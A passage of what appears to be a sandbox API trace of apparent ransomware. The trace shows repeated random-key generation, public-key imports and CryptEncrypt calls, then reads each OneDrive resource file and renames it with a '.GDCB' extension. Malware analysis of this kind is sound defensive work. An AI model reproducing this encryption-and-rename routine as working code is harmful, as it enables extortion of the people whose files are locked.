dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0202.404] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2a50) returned 1 [0202.404] CryptGetKeyParam (in: hKey=0x50d2a50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.404] CryptEncrypt (in: hKey=0x50d2a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0202.404] GetLastError () returned 0x0 [0202.404] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0202.404] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\loadingpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0202.406] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.408] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.408] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1b10, lpOverlapped=0x0) returned 1 [0202.416] VirtualAlloc (lpAddress=0x0, dwSize=0x1b10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.421] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\loadingpage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\LoadingPage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\loadingpage.html.gdcb")) returned 1 [0202.479] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0202.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.482] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.482] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0202.482] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.482] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0202.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.484] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.484] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0202.484] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.484] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0202.486] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2b50) returned 1 [0202.486] CryptGetKeyParam (in: hKey=0x50d2b50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.487] CryptEncrypt (in: hKey=0x50d2b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0202.487] GetLastError () returned 0x0 [0202.487] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.487] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0202.489] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2950) returned 1 [0202.489] CryptGetKeyParam (in: hKey=0x50d2950, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.489] CryptEncrypt (in: hKey=0x50d2950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0202.489] GetLastError () returned 0x0 [0202.489] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.489] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\onedrivelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0202.491] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.493] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.494] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1450, lpOverlapped=0x0) returned 1 [0202.501] VirtualAlloc (lpAddress=0x0, dwSize=0x1450, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.506] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\onedrivelogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\OneDriveLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\onedrivelogo.png.gdcb")) returned 1 [0202.599] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0202.601] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.602] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.602] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0202.602] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.602] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0202.604] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.604] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.604] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0202.604] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0202.605] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0202.607] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2dd0) returned 1 [0202.607] CryptGetKeyParam (in: hKey=0x50d2dd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.607] CryptEncrypt (in: hKey=0x50d2dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0202.607] GetLastError () returned 0x0 [0202.607] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.607] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0202.609] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2f50) returned 1 [0202.609] CryptGetKeyParam (in: hKey=0x50d2f50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.609] CryptEncrypt (in: hKey=0x50d2f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0202.609] GetLastError () returned 0x0 [0202.609] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.609] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotacritical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0202.611] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.612] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.613] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x2480, lpOverlapped=0x0) returned 1 [0202.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2480, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.625] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotacritical.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaCritical.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotacritical.png.gdcb")) returned 1 [0202.631] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0202.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.634] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.634] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0202.634] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.634] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0202.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.636] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0202.636] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0202.637] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0202.639] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2fd0) returned 1 [0202.641] CryptGetKeyParam (in: hKey=0x50d2fd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.641] CryptEncrypt (in: hKey=0x50d2fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0202.641] GetLastError () returned 0x0 [0202.641] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.641] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0202.644] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2990) returned 1 [0202.644] CryptGetKeyParam (in: hKey=0x50d2990, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.644] CryptEncrypt (in: hKey=0x50d2990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0202.644] GetLastError () returned 0x0 [0202.644] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.644] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotanearing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0202.646] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.647] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.648] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1f70, lpOverlapped=0x0) returned 1 [0202.655] VirtualAlloc (lpAddress=0x0, dwSize=0x1f70, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.796] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotanearing.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaNearing.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotanearing.png.gdcb")) returned 1 [0202.841] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0202.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.844] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.845] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0202.845] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.845] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0202.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.847] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.847] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0202.847] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.847] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0202.849] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2a10) returned 1 [0202.849] CryptGetKeyParam (in: hKey=0x50d2a10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.849] CryptEncrypt (in: hKey=0x50d2a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0202.849] GetLastError () returned 0x0 [0202.849] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.849] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0202.851] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2b10) returned 1 [0202.851] CryptGetKeyParam (in: hKey=0x50d2b10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.851] CryptEncrypt (in: hKey=0x50d2b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0202.851] GetLastError () returned 0x0 [0202.851] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\screenshotoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0202.853] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.855] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.855] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x3b940, lpOverlapped=0x0) returned 1 [0202.873] VirtualAlloc (lpAddress=0x0, dwSize=0x3b940, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.883] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\screenshotoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ScreenshotOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\screenshotoptin.gif.gdcb")) returned 1 [0202.965] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0202.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.968] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0202.968] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.968] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0202.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.970] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.971] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0202.971] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.971] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0202.973] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf050) returned 1 [0202.973] CryptGetKeyParam (in: hKey=0x50cf050, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.973] CryptEncrypt (in: hKey=0x50cf050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0202.973] GetLastError () returned 0x0 [0202.973] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.974] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0202.975] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf150) returned 1 [0202.975] CryptGetKeyParam (in: hKey=0x50cf150, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.975] CryptEncrypt (in: hKey=0x50cf150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0202.975] GetLastError () returned 0x0 [0202.976] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.976] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application 